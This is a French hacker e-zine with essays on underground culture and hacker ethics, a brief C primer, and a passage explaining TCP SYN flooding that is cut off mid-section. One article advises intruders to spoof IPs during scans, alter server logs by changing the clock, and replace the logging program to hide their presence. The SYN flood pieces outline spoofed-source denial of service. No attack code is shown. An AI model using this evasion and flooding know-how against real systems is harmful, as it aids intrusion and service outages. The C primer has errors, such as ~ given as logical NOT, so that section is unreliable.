
PRECIPICE numero 2 				http://cleoz.2y.net	


  |   |            |             |  |             ___| |     ____|  _ \
  |   |  _` |  __| |  /  _ \  _` |  __ \  |   |  |     |     __|   |   |
  ___ | (   | (      <   __/ (   |  |   | |   |  |     |     |     |   |
 _|  _|\__,_|\___|_|\_\\___|\__,_| _.__/ \__, | \____|_____|_____|\___/
                                         ____/


			EDITO :


Je deteste ca !
voir une page blanche comme ca toute vide, et devoir commencer un article 
alors qu'il n'y a rien avant...
Enfin dans mon cas, la page est pas blanche mais noire (je sais tout le 
monde s'en tape, mais faut bien que je barratine si je veux la remplir 
cette foutue page). Un changement majeur par rapport a mon premier 
zine... Celui la n'est pas en html, ben non, j en ai marre de me casser 
la tete, c est vrai que c est moins joli a regarder,  je crois vraiment
pas que ce soit un concours d'esthetisme... :)

Lorsque j'ai publie le premier numero, je ne pensais vraiment pas qu'il 
y en aurait un 2eme, mais finalement je me suis decidee 
a ecrire d'autres articles. Etant donne que je suis toujours et 
encore toute seule a m'occuper du site, des articles etc, il n'y 
en aura peut etre pas d'autres avant un bon moment... (si vous vous sentez
l'ame charitable et que l'envie vous prend de me concocter quelques articles,
je n'y verrais aucun inconvenient) :op

Nota Bene : bon... je dois faire une petite modif dans ce que je viens de
dire... Normalement je devrais etre la seule a ecrire ce mag, mais un ami
que je remercie d'ailleurs a ecrit un des articles, je vous laisse 
decouvrir :)

<< fin de mon baragouinage >>

							Spirit_2001a

---------------------------------------------------------------------------

			SOMMAIRE 


L'underground:			Definition

Langage de programmation:	Le C (ce n'est pas un cours)

Hacking: A eviter:		Quelques erreurs a ne pas faire

Le mouvement France Assassine:	Departement Delamerisation (article par GarD)

C'est quoi un hacker:		Mon point de vue sur les hackers, les crackers

Le syn-flood (1):		Description rapide de cette attaque

Le syn-flood (2):               Description detaillee de cette attaque

Sans titre:			Methode simple pour connaitre les machines
				dependant d'une cible

Epilogue			

	
---------------------------------------------------------------------------


		L'UNDERGROUND


L'underground c'est quoi ? et ben franchement, il y a eu une longue 
periode ou je me suis vraiment demandee ce que ce mot signifiait !
Surtout quand je recontre des gens qui ne cherchent pas a apprendre
mais plutot qu'on fasse tout a leur place. Genre d'attitude 
qui enerve tout le monde. Tout le monde est oblige d'apprendre
dans ce milieu, meme ceux qui semblent tout connaitre, tout savoir,
etc (et j'ai bien dit "qui semblent"). 
L'underground, c'est quoi ? Un mouvement, une mode aussi, un moyen 
de se faire connaitre et/ou apprecier (?), un art peut etre...
Mais en tout cas ce qui est sur, c'est que l'underground
rassemble des personnes de toutes sortes qui sont motivees par
une seule et meme chose... la quete du savoir.
Les autres je ne les appellerais meme pas lamer (meme si je
n'apprecie pas ce mot, je tenais a l'utiliser), juste des gens qui n'ont 
rien compris.
Je le dis sur mon site, et je tiens a le repeter ici, je ne suis
pas une hackeuse. La seule chose qui m'interresse c'est de 
comprendre comment un systeme, un logiciel peut marcher, 
et comment faire pour contourner ce qui a ete prevu par le 
programmeur...
J'ai souvent entendu dire que l'underground etait un milieu
assez ferme. Franchement je crois pas, on m'a parfois traite
de "lame", on m'a conseille de retourner jouer avec mes poupees
(desolee j en ai plus, il ne me reste qu un nounours :p), mais
je n'en suis pas morte, et je me suis rendue compte qu'en 
general les personnes qui agissent ainsi ne connaissent pas grand 
chose (y'en a un il n y a pas lontemps qui m'a demande le nom 
de famille de "root" [super-utilisateur sur les systemes Unix] 
pour me dire s'il le connaissait... hum ca fait sourire quand meme !)
L'underground pour moi, c'est avant tout une facon de penser, de
reflechir (nan, c pas la meme chose), et d'agir...

C'est la lutte pour la liberte d'agir et d'expression sur Internet.

En parlant justement de cette liberte, je tiens a rappeler
un fait qui m'a assez revoltee. Il y a quelques mois, le 
serveur Altern.org fermait ses portes ne laissant que le
service de mail. Pourquoi ? A cause d'une loi qui impose aux
hebergeurs francais la delation des sites qui ne sont pas tout a
fait legaux. Meme en cas de simple doute du contenu, ils 
doivent alerter les autorites et transmettre les coordonnees 
de la personne responsable du site.
Autre loi tout aussi meprisable, certains sites etrangers a caractere
plus ou moins choquant doivent elaborer des systemes pour interdire 
l'acces aux visteurs francais.
Quand j'ai decouvert Internet, ca m'a paru fabuleux, parce que
c'etait le seul endroit que je connaissais ou justement on 
avait le droit de s'exprimer, meme si l'underground n'a 
jamais ete vraiment legal, c'etait tolere. Evidemment, ca ne pouvait
pas durer parce que c'est trop derangeant et dangereux de laisser les 
gens s'exprimer...


							Spirit_2001a


------------------------------------------------------------------------



		LANGAGE DE PROGRAMMATION : LE C.


Parait qu'il faut savoir programmer... Bon pourquoi pas, et je dirais meme
que c'est relativement utile :) alors pour rester dans la logique de ce mag,
mi-haking/mi-informatique, voici quelques petites choses importantes 
a connaitre...

1ere Partie : "les mots cles"
----------------------------

Certains "mots cles" sont reserves par le langage C a un usage bien defini et 
ne peuvent pas etre utilises comme identificateurs. En voici une liste que 
j'ai classe par ordre alphabetique:

	auto
	break
	case
	char	
	const
	continue
	default
	do
	double
	else
	enum
	extern
	float
	for
	goto
	if
	int
	long
	register
	return
	short
	signed
	sizeof
	static
	struct
	switch
	typedef
	union
	unsigned
	void
	volatile
	while

Je ne pense pas en avoir oublie, mais si c'est le cas... mail me !

2eme Partie : les operateurs
----------------------------

Ce petit tableau reprend les operateurs relationnel en C:

----------------------------------------
|                |                      |
| Operateur      |      Signification   |
|---------------------------------------|
|					|
|	<	    inferieur a	        |
|	<=	    inferieur ou egal a |
|	>	    superieur a   	|
|	>=	    superieur ou egal a |
|	==	    egal a		|
|	!=	    different de	|
----------------------------------------

Priorites:

a < b == c < d sera interprete comme (a < b) == (c < d)
Je veux dire que >, <, <=, et => sont prioritaires dans leur
execution que == ou !=
Mais snif, c'est pas si simple.... x + y < a + 5 sera interprete comme
(x + y) < (a + 5) ce qui signifie que les operateurs relationnels sont moins
prioritaires que les operateurs arythmetiques (arythmetiques c'est  + - etc 
et les relationnels c'est > < = etc)

Les operateurs logiques:

Dans le langage C, il existe 3 operaters logques classiques...
et (que l'on note &&)
ou (que l'on note ||)
non (que l'on note ~)

3eme Partie : les codes de conversion
-------------------------------------

c	char : caractere affiche "en clair" 
d	int			
u	unsigned int
ld	long
lu	unsigned long
f	double ou float (a cause des conversations systematiques 
	float -> double) : ecrit en notation "decimale" avec 6 chiffres 
	apres le point
e	double ou float (float->double) : ecrit en notation exponentielle 
	avec 6 chiffres apres le point decimale
s	chaine de caracteres dont on fournit l adresse


Hey ! je vois deja les critiques se pointer... J'ai jamais dit que c'etait 
un cours, ni rien !!!
Alors si vous n'etes pas content, et beh, pourquoi vous ne fermez pas 
ce mag ? Franchement, si vous pensez tout savoir, vous z'avez pas besoin 
de moi, et ecrivez plutot des articles vous meme... ensuite vous 
pourrez critiquer.


							Spirit_2001a



---------------------------------------------------------------------------


				HACKING : A EVITER !



Bon, ca fait maintenant un moment que je surfe, et que je regarde ce que 
les autres sites disent... Et la, franchement j'ai quelques coups 
de gueules a faire ! C'est sympa de prendre les gens pour des idiots, 
mais ca va un moment...

1) Craquer les mots de passe d'un serveur
-----------------------------------------

Ca c'est pas trop complique, je recupere un logiciel n'importe ou sur le net, 
et hop je hack un site au pifometre par la tres connue technique du 
brute-force (ca consiste a tester tous les mots de passe possible ou 
tous ceux d'une liste grace a un logiciel jusqu'a trouver celui de 
ROOT [super-utilisateur, cf plus haut]). Apres pourquoi se fatiguer a 
chercher des failles ou a ruser pour entrer sur un systeme si un tit 
prog me donne les passes ?
Reponse: parce que les admins reseau sont pas completement cons !! 
et un brute force, ca se voit presque tout de suite, et a moins de 
trouver le bon passe en quelques secondes, voire quelques minutes, 
vous etes imimediatement repere :op
Pas de chance !
Le brute force, c'est quelque chose que je trouve idiot, et il n'y a 
rien de mieux pour se faire choper... Maintenant a vous de voir. 

2) Scanner les ports d'un serveur
---------------------------------

La vous vous inquietez de ce que je vais bien pouvoir vous sortir... 
Parce que je suis bien gentille, mais quand meme savoir quels ports 
sont ouverts et quels ports sont fermes c'est tout de meme bien pratique :p.
Je dis pas le contraire, mais pareil, dans les logs ca se voit de suite, 
suffit que l'admin reseau ait elabore un systeme pour etre averti a 
chaque scan de port, et hop vous n'aurez meme pas eu le temps de finir 
votre scan pour que votre ip soit connue. Bon, tous les serveurs ne sont 
pas proteges de la sorte, et la plupart se foutent des scans, mais 
quand meme, restez prudent !
Remede: spoofez son ip pendant le scan, et en changer par la suite... 
de facon a brouiller les pistes.
Je rappelle juste une chose, le scan de port en lui-meme n'est pas une 
attaque.

3) Laisser des traces de son passage
------------------------------------

Cooooooooollllllllllll ! vous etes entre sur un serveur sans vous 
faire reperer ni rien !!! Mais hummm vous rejouissez pas trop vite 
(oui je suis rabajoie... je sais) parce que pendant que vous faites vos 
tites affaires sur ce pc.... Les logs continuent a tout enregistrer... 
Pas de bol ! Donc premiere chose a faire c'est effacer tout ce qui 
pourrait donner un indice sur votre intrusion. Si vous etes root, 
les logs... ne les effacez pas, c'est encore pire, au mieux vous les 
modifiez, mais ca se voit egalement. Ou si vous tenez vraiment a effacer 
une partie des logs, un petit truc qui peut etre  utile... 
changer l heure ! En fait si vous ne le faites pas, il y aura comme un "trou" 
dans ceux-ci, et ca ne passe pas inapercu... En changeant l'heure du 
serveur, il continue ecrit a la place de ce qui a ete efface. 
Mais encore une fois on peut trouver des programmes qui reperent les 
changements d'horaire :-/.
Donc le best c'est un ptit prog qui vous camoufle... J'entends par la un 
prog que vous installez sur place et qui remplace celui qui ecrit dans 
les log normalement, ainsi tout est note a l'exception de vous :) !
Elle est pas belle la vie quand meme ?


							Spirit_2001a

--------------------------------------------------------------------------

Le mouvement France Assassine
Dpartement Dlamerisation

'Lut les chacals, ici GarD en direct de la plante Gard World Inc. 
et je pique l'antenne un moment. Tout  l'heure Spirit (coucou toi ;-) 
voquait l'underground et les hackers. Parlons en (si si j'insiste). 
Que reste-t-il des splendides hackers d'antan, qui dnoncaient les 
injustices et se battaient pour de nobles causes, mettant  profit 
leur gnie du clavier ? Une bande d'enfants gats qui s'la jouent 
Shadow Warriors sur IRC, les greatz elites hacka comme ils se nomment, 
qui s'clatent  jouer du nuke et du troyen, les lamahs de l'underground... 
Comment avons nous pu en arriver l ? C'est le sujet de cet article 
pour le moins polmique et ludique qui virera bientt sur les 
fondements et les aboutissements du mouvement dont je suis un 
des fondateurs, ce mouvement qui nous amnera bientt tous avec 
une pancarte dans la rue.
Great Intro ;-)
Au commencement taient les tnbres, puis le Rezo fut, n de la 
guerre froide, de cette volont du DoD de crer un rseau dcentralis 
capable de rsister  une attaque thermo-nuclaire. Ceci est la 
gense du peuple des Cyberpunks dont je suis issu. Ds le dbut 
des 70's des universitaires et des informaticiens gniaux 
commencrent  vivre en Terre Electronique : les premiers colons 
de ce pays vide, et ils en crrent les lois et les rgles 
communautaires : l'anonymat, la privacy, le respect d'autrui, et 
toutes les autres lois tacites du Rezo qu'ils n'crivirent jamais. 
A cette poque l on se plaisait  les nommer hackers, mais ne vous 
y trompez pas, si les phreakers existent depuis les annes 60, ces 
hackers l n'taient pas encore des pirates, mais simplement des gnies 
de la console qui avaient une approche non conventionelle de l'apprentissage ; 
ils apprenaient tout ce qui leur tombait sous la main et se noyaient dans 
des ocans de notes griffones recopies sur des usenets. C'est quand le 
capitalisme barbare s'intressa  l'Internet et commenca  s'y installer 
que certains hackers se couronnrent pirates, pour lutter contre l'invasion 
de leur pays par leur anti-idal. Et c'est au dbut des annes 80 que les 
mdias, sous la tutelle du gouvernement amricain, mlangrent les termes 
hackers et pirates (crackers), pour la simple raison que les pirates d'alors 
taient tous des informaticiens chevronns (hackers), tant occups qu'ils 
taient  dtruire l'image des pirates hacktivistes,  faire oublier la cause 
pour laquelle ils se battaient et ne laisser d'eux qu'un masque amorphe de 
criminel sans visage. Hackers, criminels ! clamaient-ils en se rjouissant 
de voir leur audience grimper et en rjouissant les gouvernements qui 
mettaient sur pied un diabolique plan pour se dbarasser de leurs ennemis. 
A partir de l, bien que l'on tenta de faire la distinction entre hacker 
(pirate respectant l'thique et hackant pour le sport sans rien dtruire), 
cracker (pirate criminel qui hacke pour le profit ou la destruction, cf crasher), 
et hacktivistes (pirate originel se battant pour le rezo), rien n'y fit: 
quiconque piratait tait un mchant criminel avide de profit ou au mieux 
un adolescent dangereux capable d'amener le chaos et la ruine sans s'en 
apercevoir. Cela perdura jusque dans les annes 90, quand lors de l'ouverture 
de l'Internet au grand public les lamers se dmultiplirent. Les lamers ont 
beau exister depuis le dbut du cybertemps (ils taient alors les rippers, 
ceux qui extractaient une partie du code d'un programme d'un autre pour s'en 
approprier les mrites de la programmation) ceux-ci taient d'une race nouvelle, 
une nouvelle fois issue des mdias. Des adolescents pr-pubres nourris a grand 
coup de "Hackers" et de "Matrix", de Mitnick et de Poulsen, obnubils par une 
vison chimrique, mythique, de faux hackers auxquels ils voulaient ressembler, 
l, dans la minute, et cette masse dferlante n'ayant point le temps de s'instruire 
se crurent hackers ds l'instant o ils surent se servir de winnuke.exe et du socket 
de troie. Cela donna lieu  de nouveaux articles dans Lib et de nouveaux reportages 
sur TF1 renforcant un mythe de hacker adolescent qui n'a qu'a utiliser un logiciel 
pour pirater. Cependant tout le monde a oubli qu'un vrai hacker (quel que soit la 
dfinition du terme, la premiere la deuxieme ou la troisieme) a un niveau ingenieur 
en informatique, et que ces foutus gosses nukant leur monde sont des lamers mprisables. 
Ainsi donc les hackers se terrent, recherchs par toutes les polices de la plante, les 
lamers pullulent et touffent, et les cyberpunks, mon peuple, les "gens du rezo", essayant 
de rtablir cette vrit, sont a leur tour dsigns comme criminel, en tout premier 
lieu par la France, et a leur tour ils sont traqus et jets en prison sous de faux 
motifs, comme la violation de secret dfense ou le piratage, alors qu'ils ne sont 
pas meme pirates pour le sport. 
Le mouvement France Assassine vise une saturation mdiatique, pour retourner l'arme qui 
a servi a nous dtruire contre nos ennemis. Nous allons rpandre cette vrit  travers 
les journaux, les tlvisions, le web, partout. Hacker, meme en hacktivisant, ne sert 
plus a rien, et n'a jamais servi a rien, car la haine entraine la haine. Personne ne 
comprend l'action des pirates engags. Alors soyons plus intelligent que nos ennemis.
Une autre branche du mouvement visera spcifiquement  donner un enseignement aux lamers 
(quel que soit la definition de ce terme) et les guider vers le chemin du hackway, 
la route qu'il faut suivre pour sortir de la lamerisation. On ne leur apprendra pas a 
etre pirates, mais a etre hacker, on leur apprendra la Netic Hack, l'ethique. 
Ce dpartement de dlamerisation, j'en confie le commandement  Spirit. Le point
central du mouvement, le site de l'AntiFrance Corp., verra le jour d'ici une quinzaine.
Apprtez vous a vivre des jours nouveaux...

GarD
matforever@hotmail.com
http://www.gardworld.org
http://www.france-assassine.org


--------------------------------------------------------------------------


			C'EST QUOI UN HACKER ?


hehe :) La je pense que je vais aborder un sujet qui risque
de soulever des polemiques, parce que toutes les definitions 
de ce mot ou de cet etat (?) sont differentes, et justement
ca m'a donne envie de creuser la question.

Hacker, est un mot anglais (oui c'est bien les dicos parfois, 
ca permet de remplir les pages) qui signifie "qui modifie".
Hum, cool, avec ca on est bien avance.
Ben oui, justement on avance ! Prenons par exemple le "kernel
hacking" ca ne consiste pas a rentrer dans le noyaux linux pour
le detruire ou quoi que ce soit, mais c'est plutot le modifier,
par exemple pour creer de nouveaux drivers. Ha bon... alors
ca veut dire que les projets comme Alsa, HA, Libs, etc emploient
des hackerZ ? 

Si on respecte le dico, on tombe sur un probleme, comment on 
va bien pouvoir appeler Toto, le ptit Toto qui envoie des 
mails anonymes et utilise SubSeven ou Hack-at-hack ? Je crois 
que le plus simple est de ne pas l'appeler, ce n'est pas un hacker
car il ne modifie pas les programmes qu'il utilise, et dans 90%
des cas  meme il ne sait pas vraiment ce qui se passe avec ces petits
logiciels... Suffit de comprendre comment s'en servir. Il n'y a rien
a inventer, rien a creer, rien a comprendre, Toto se sert d'un
produit qui ressemble a du chewing_gum. (je ne dis pas ca 
mechamment :p)

Mais bon, comme Toto a envie d'apprendre, il va creuser
un peu plus loin et decouvrir les failles, les rootkits,
etc... Si il veut vraiment savoir comment marche un systeme
sous Unix, il va meme en installer un. Et la deja ca
devient plus interressant, cette fois ci il essaye 
de comprendre avant de faire. C'est bien beau une faille, 
mais encore faut-il arriver a l'exploiter ! A ce stade la
Toto commence a avoir une bonne connaissance d'Internet, 
d'Unix, et peut eventuellement connaitre un peu la programmation.
Etant donne qu'il trifouille ses fichiers et les modifier
on peut l'appeler hacker, parce que petit a petit on se raproche
de la definition :) D'ailleurs je lui donnerait plutot le nom de 
cracker a Toto...

Mais comme Toto ne s'arrete pas la dans sa soif d'apprendre,
il commence a bien connaitre les differents protocoles
les langages de programmation, etc... Il est capable de 
lire du code, de le comprendre, de le modifier, et d'en creer
lui-meme. La programmation ici n'est qu'un exemple parmi
d'autres :p Evidemment ca ne fait pas tout de connaitre 
les bases en VB ! C'est bien different meme...

Je ne sais pas si Toto arrivera un jour a l'etape que je
vais decrire, mais si c'est le cas, il sera devenu un
cracker "professionnel" capable de penetrer sur 
n'importe quel systeme, sans que le sys-admin ne s'en rende
compte, sans laisser de traces, et etant capable de 
modifier n'importe quel code.

Bon... que retenir de l'evolution de Toto ?
ben tout simplement etre un "hacker" ou un "cracker"
ne vient pas comme ca par magie, c'est un long
travail d'apprentissage qui demande de la patience
et de la volonte. Mais aussi ca ne veut pas dire 
detruire ou utiliser des programmes tout fait.
Hacker veut dire modifier.... 

Deux jours apres avoir ecrit ce petit article, j'ai eu une conversation
tres interressante sur irc.
Je ne la reproduirait pas ici, mais ca m'a montre a quel point
cette question est un des plus grand debat du moment. Il est
evident que l'image des hackers et des crackers est totalement
manipulee par les medias. Maintenant, je ne pense pas que l'interet
soit de savoir qui a raison et qui a tord. Je ferais  tres certainement
un article dans les jours a venir sur "C'est quoi un lamer", 
parce que pour moi il n'y en a pas, et je me bats contre ce 
terme. Mais ceci est un autre debat.

						Spirit_2001a


-------------------------------------------------------------------------


			LE SYN FLOOD (1)


Le Syn-Flood est une technique qui marche sur tous les serveurs (et pour 
cause), mais qui a mon avis n'apporte pas grand chose a part mettre 
l'ordinateur distant Hors Service... Mais je trouve cette technique 
tout de meme assez interressante, donc c'est parti, tit article la dessus !

Ceci est la partie "simple" du dossier, pour une description plus detaillee,
jetez un coup d'oeil sur la page precipice-flood.txt !


Le but est de demander tout plein de choses (requetes) au serveur afin 
qu'au bout d'un moment il n'ai plus assez de ressources pour repondre, 
et donc qu'il ne puisse plus non plus repondre aux requetes "normales" 
des visiteurs du site. Hum, le probleme, c'est qu'on peut bien lui 
envoyer des requetes a ce maudit serveur, mais il y a de fortes chances 
pour que notre beau petit pc succombe avant, donc il faut ruser !

Quand on se connecte a un serveur, on lui envoie une requete pour lui dire :
	"Coucou !!! mon ip est 1.2.3.4, tu veux causer avec moi ?"
et la le serveur repond (car il est oblige de repondre, sinon il ne se 
passe rien, et ce qui est propose aux utilisateurs "normaux" n'est 
pas accessible) :
	"Alut. Tu es sur que tu veux me parler ?"
Apres ce premier contact, on doit a nouveau envoye des paquets pour confimer...
	"Vi vi ! Je suis la et je veux bosser avec toi."

Normalement, apres ce petit schema, les donnees peuvent s'echanger car 
la connexion a ete etablie.

Autrement dit cela donne:

       Toto			    SuperServeur
	              Syn
	 |-------------------------------->
                      Syn Ack
	 <--------------------------------| 
		      Ack
	 |-------------------------------->

Le serveur distant attend donc le Ack pour etre sur que la connexion a ete 
etablie, mais voila, assez souvent sur Internet, les paquets se perdent, 
donc le serveur, s'il ne recoit pas de Ack, va renvoyer un Syn Ack, et un 
autre, et encore un autre, etc. Bien sur il ne fait pas ca indefiniment, 
en general, il va essayer de renvoyer les paquets pendant une a deux 
minutes, et en divisant a chaque fois le temps avant envoie par 2.
Ca c'est interressant ! 
A la place d'envoyer 2 requetes et d'en recevoir une, on en envoie une en 
omettant de repondre au syn ack et on en recois beaucoup plus !

Mouif, bon, c'est pas encore tout a fait ca, mais on va arriver a trouver 
un moyen de le mettre en defaut ce serveur.
Si on recoit les Syn Ack, il y a deux problemes majeurs... le premier, 
on se fait tout de suite reperer apres... facile de chercher dans les log et de 
faire le lien entre votre IP et vous, donc c'est pas tip-top, le deuxieme 
probleme, c'est qu'il vaut mieux economiser les forces de son pc afin 
d'envoyer plus de Syn (et oui... repondre a des requetes et en envoyer, 
ca utilise des ressources, d'ou l'interet d'envoyer un max de syn au serveur).
Seule solution a ca, c'est de "truquer" les requetes afin qu'elles ne 
contiennent non pas notre ip, mais une prise au hasard.
Hum, comme je l'ai dit plus haut, les admins reseaux sont pas completement 
cons, et certains serveurs bloquent une IP losqu'ils ont trop de 
requete de la part de celle ci, donc le best, c'est de d'envoyer des 
requetes avec une ip changeant a chaque fois (ou presque)...

Et la, ben les serveurs ils ne peuvent absolument rien faire, ils n'ont 
aucune defense, et sont obliges de repondre, c'est bete pour eux 
quand meme ! ;p 
Mais encore une fois, je precise que je n'apprecie pas particulierement
cette technique, et generalement, quelques heures apres, le serveur 
remarche comme si de rien n'etait.
Ca l'empeche de fonctionner pendant un moment, mais c'est temporaire.


							Spirit_2001a

--------------------------------------------------------------------------

                        LE SYN FLOOD (2)


Ce projet est une analyse complete du TCP Syn Flooding.
Il S'agit d'une attaque de type Denial of Service (DoS), et comme
toutes les attaques DoS, il ne repose pas sur un bug logiciel,
mais sur l'implementation d'un protocole bien particulier, le TCP.
Ce chapitre est divise en plusieurs sections... :

I       Information sur le TCP
II      La structure de la memmoire
III     Traitement a l'arrivee
IV      L'attaque
V       Deux programmes : Neptune.c et Smurf4.c



			PARTIE I : Information sur le protocole TCP


Pour changer des donnes employant TCP, les htes doivent tablir 
une connexion. TCP etablit une connexion en trois etapes, 
appelee "3-way handshake", si le client (A) souhaite etablir 
la connexion avec le serveur (B), voici le processus :

			(Schema 1)


	1       A       ---SYN--->      B       

	2       A    <---SYN/ACK---     B

	3       A       ---ACK--->      B

     Le client (A) commence par dire au serveur (B) qu'il veut une connexion. 
     C'est le seul but du flag SYN (1). 
     Il specifie egalement que le champ des numeros de sequence est
     valable et doit tre vrifi. Le client remplace ce numero de sequence
     dans les headers TCP par son ISN (le numro de sequence initial). 
     Le serveur, en recevant ce paquet (2) y rpondra par son propre ISN
     et une confirmation (en anglais ACKnowledgement...) du premier paquet 
     du client (client qui est ISN+1). Le client alors repond par un 
     ACK a l' ISN du serveur (3). Maintenant le transfert de donnes 
     peut avoir lieu.


Control des flags :
-------------------

Il existe 6 controles de flags dans TCP, on va seulement s'interresser 
a 3 d'entre eux.... puisque c'est justement ceux-ci qui nous concernent.

SYN signifie Synchronize Sequence Number. 
Ce flag est seulement valable pendant la "3-way handshake",
et sert "d'accuse de reception" TCP pour le SYN et note cette valeur 
comme numero de sequence initial de l'initiateur de connexion. (je sais 
ma phrase est bizzare, mais je n'ai pas reussi a la formuler
differemment).
Le numero de sequence TCP peut etre simplement imagine comme un compteur 
32 bits, ils s'etendent de 0 a 4,294,967,295. Chaque octet de donnees 
echange a tarvers la connexion TCP (avec certains flags) est sequence.
Le champs du numero de sequence dans les entetes (headers) contiendra le
numro d'ordre du premier octet des donnes dans le paquet TCP.

ACK signifie Acknowledgement (Confirmation)
La reconnaissance du numero du champ est valable. Ce flag est presque 
toujours emis, le champ du numero de reconnaissance dans l'entete TCP 
contient la valeur du numero de sequence attendu par l'autre pc, il 
reconnait aussi toutes les donnees par ce numero d'ACK -1.

RST signifie reset (remise a zero)
Detruit la connexion, toutes les structures de la memoires sont effacees.

URG signifie urgent (c'etait dur a trouver la...)
Le pointeur urgent est valable. C'est une route TCP pour l'execution hors 
de la bande des donnees (OOB). Par exemple, dans une connexion telnet 
un CTRL C du cote du client est considere comme urgent et causera 
l'emission de ce flag.

PSH signifie push (pousser)
la rception TCP ne doit pas mettre en attente ces donnes, mais les 
passer  l'application aussitt que possible. Ce flag doit toujours 
tre mis dans des connexions interactives, comme telnet et rlogin.

FIN signifie...fin !
La connexion TCP envoyee a termine de transmettre les donnees, mais 
il reste a l'ecoute d'autres connexions

Les ports :
-----------

Pour accorder l'accs simultan au module TCP, TCP fournit une interface 
utilisateur appele un port. Les ports sont employs par le noyau pour 
identifier des processus du rseau. Ce sont des entits uniquement de la 
couche de transport. Une adresse IP et un port TCP fournissent un but 
final pour les communications sur le rseau. En fait,  n'importe quel 
moment donn "toutes" les connexions  Internet peuvent tre dcrites par 4
numros : l'adresse IP source, le port source, l'adresse IP de destination 
et le port de destination. Les serveurs doivent ncessairement ouvrir des 
ports "connus" pour qu'ils puissent tre placs sur un port standard 
sur des systmes diffrents. Par exemple, le dmon (programme serveur) 
telnet est sur le port TCP 23.



			PARTIE II Structure de la memoire TCP et backlog


Pour une description complete du Syn-Flooding, il est necessaire de 
s'interresser a la structure de la memoire que TCP cree quand un 
client envoie une requete de type SYN et lorsque la connexion est 
en suspens (je veux dire la connexion est quelque part dans le processus 
"3-way handshake" et TCP est dans le SYN_SENT ou dans l'etat de SYN_RVCD)


BSD:
----

Sous le code de rseau de style BSD, pour n'importe quelle connexion 
TCP "en suspens" donne, il y a trois structures de mmoire qui sont 
alloues (on ne discute pas du processus (proc), la structure de fichier, 
il faut tre conscient qu'ils existent aussi.) : 

Structure des Sockets (socket {}) :
Tient l'information lie  la fin locale de la ligne de communication : 
protocole employ, information d'tat, informations adressees, 
backlog de connexion, buffer et flags. 

Structure du bloc de contrle de protocole d'Internet (inpcb {}) :
le PCB est employ au niveau de la couche de transport TCP (et UDP) pour 
tenir divers "morceaux" d'information ncessaire a TCP. 
TCP donne l'information, l'adresse IP, le numero du port, le prototype des 
headers et les options, et un pointeur sur la table des routes pour 
l'adresse de destination.
Le PCB est cr pour donner les indications TCP au serveur quand celui-ci 
appelle la fonction listen()

Structure de Bloc de Contrle TCP (tcpcb{}) : 
Le bloc de contrle de TCP contient l'information spcifique TCP comme 
l'information comme l'heure, l'information sur les numeros de sequence, 
le statut du contrle de flux et des donnes OOB.


LINUX:
------

Linux emploie un schema diffrent pour l'allocation de la mmoire au 
point de vue de l'information de rseau. La structure de socket est 
toujours employe, mais au lieu du pcb {} et tcpcb {}, nous avons : 

La structure Sock (frappe {}) : 
Protocole specifique a l'information, la plupart des structures de donnes 
sont lies a TCP. C'est une structure gigantesque. 

La structure SK (sk_buff {}) : 
Contient plus l'information sur le protocole spcifique incluant 
les informations de l'entete du paquet, contient aussi une sock {}. 

Selon Alan Cox : 
L'inode est l'inode contenant la socket. La socket contient
des mthodes gnriques de haut niveau et la structure de ce sock est le
protocole spcifique de l'objet.

[Struct inode - > struct socket - > struct sock - > les chanes de sk_buff]


Backlog:
--------

Ceux-ci sont des grandes structures de mmoire. Chaque fois qu'un 
paquet SYN arrive sur un port valable (c'est a dire un port o un serveur TCP 
coute), de la memoire doit tre alloue. S'il n'y avait aucune limite, 
un hte pourrait facilement provoquer un denial of service en occupant ces 
backlogs.

Il s'agit en fait de mmoire devant juste traiter des connexions TCP.
(Ce serait une attaque de DOS mme plus simple que celle ci.) 
Cependant, il y a une limite maximum  la quantit de connexions simultanes
faisant une requete TCP et il peut y avoir certaines requetes en attente
pour une socket donne. 

Cette limite est aussi longue que les requetes en attente arrives (mais 
encore incompletes) des connexions maintenues. 
Cette limite s'applique au nombre de connexions imcompletes (par exemple 
si la "3-way handshake" n'a pas t acheve) et au nombre de connexions 
acheves qui n'ont pas ete prises parmi celles mises en attente par 
l'application.

Si cette limite est atteinte, TCP va renoncer silencieusement 
toutes les demandes de connexion entrantes avant que les connexions en
suspens ne puissent tre traites. 

Le backlog n'a pas une grande valeur, et ne doit pas en avoir...
Normalement TCP est tout  fait capable de traiter l'tablissement des 
connexions.
Mme si une connexion arrive alors que la "file d'attente"
est a son maximum, quand le client retransmettra les paquets de
demande de connexion, TCP aura le morceau de nouveau dans la
"file d'attente". 

Des implementations TCP diffrentes ont des tailles diffrentes 
pour les requetes en attente.

Dans le style du code rseau de BSD, il y a aussi la marge 'de grce' de 3/2.
C'est--dire que TCP permettra un backlog jusqu'a 3/2 +1 des connexions. 
Cela permettra  une socket une connexion mme s'il appelle listen() avec un
backlog de 0
Quelques valeurs de backlog communes :	

			(Schema 2)


   OS           Backlog   BL+Grace  Notes       
---------------------------------------------------------------------------
SunOS 4.x.x:     5           8 
IRIX 5.2:        5           8
Solaris
Linux 1.2.x:    10          10   Linux ne possede pas cette marge
Linux 2.2.x:    128        300
FreeBSD 2.1.0:              32
FreeBSD 2.1.5:             128
Win NTs 3.5.1:   6           6   NT ne semble pas avoir cette marge
Win NTw 4.0:     6           6   NT a un backlog pathetique.

;p


			PARTIE III : Traitement a l'arrivee


Pour voir exactement o l'attaque agit reellement, il est
ncessaire d'observer comment la rception TCP traite un paquet entrant. 
La chose suivante est vraie pour la gestion de rseau de style BSD et 
L'tat de TCP est listen() : 

Obtention des informations des headers :
TCP rcupre les entetes  TCP et IP et stocke l'information dans la
mmoire. 

Vrification du cheksum de TCP : 
la norme du cheksum d'Internet est applique au paquet. 
S'il choue, aucun ACK n'est envoy et le paquet est abandonne, 
laissant le client le retransmettre. 

Placement du PCB {} : 
TCP place le pcb {} associ a la connexion. 
Si celui-ci n'est pas trouv, TCP laisse tomber le paquet et envoie un RST.
(c'est ainsi que TCP manipule les connexions qui arrivent sur des ports
sans serveur en coute listen()) 

Si le PCB {} existe, mais qu'il est ferme, le serveur n'appelle 
pas les fonctions connect() et listen(). Le segment est laiss tomber, mais
aucun RST n'est envoy. On s'attend  ce que le client le retransmette avec 
la demande de connexion. 

Cration de la nouvelle socket : 
Quand un paquet arrive sur une socket qui ecoute,
une socket esclave est cre. C'est la qu' une socket {}, qu'un tcpcb {} ou 
autre pcb {} est cr. 
TCP n'est pas remis a la connexion  ce niveau, donc un flag est
emis afin que TCP laisse tomber la socket (et qu'il dtruise les structures de
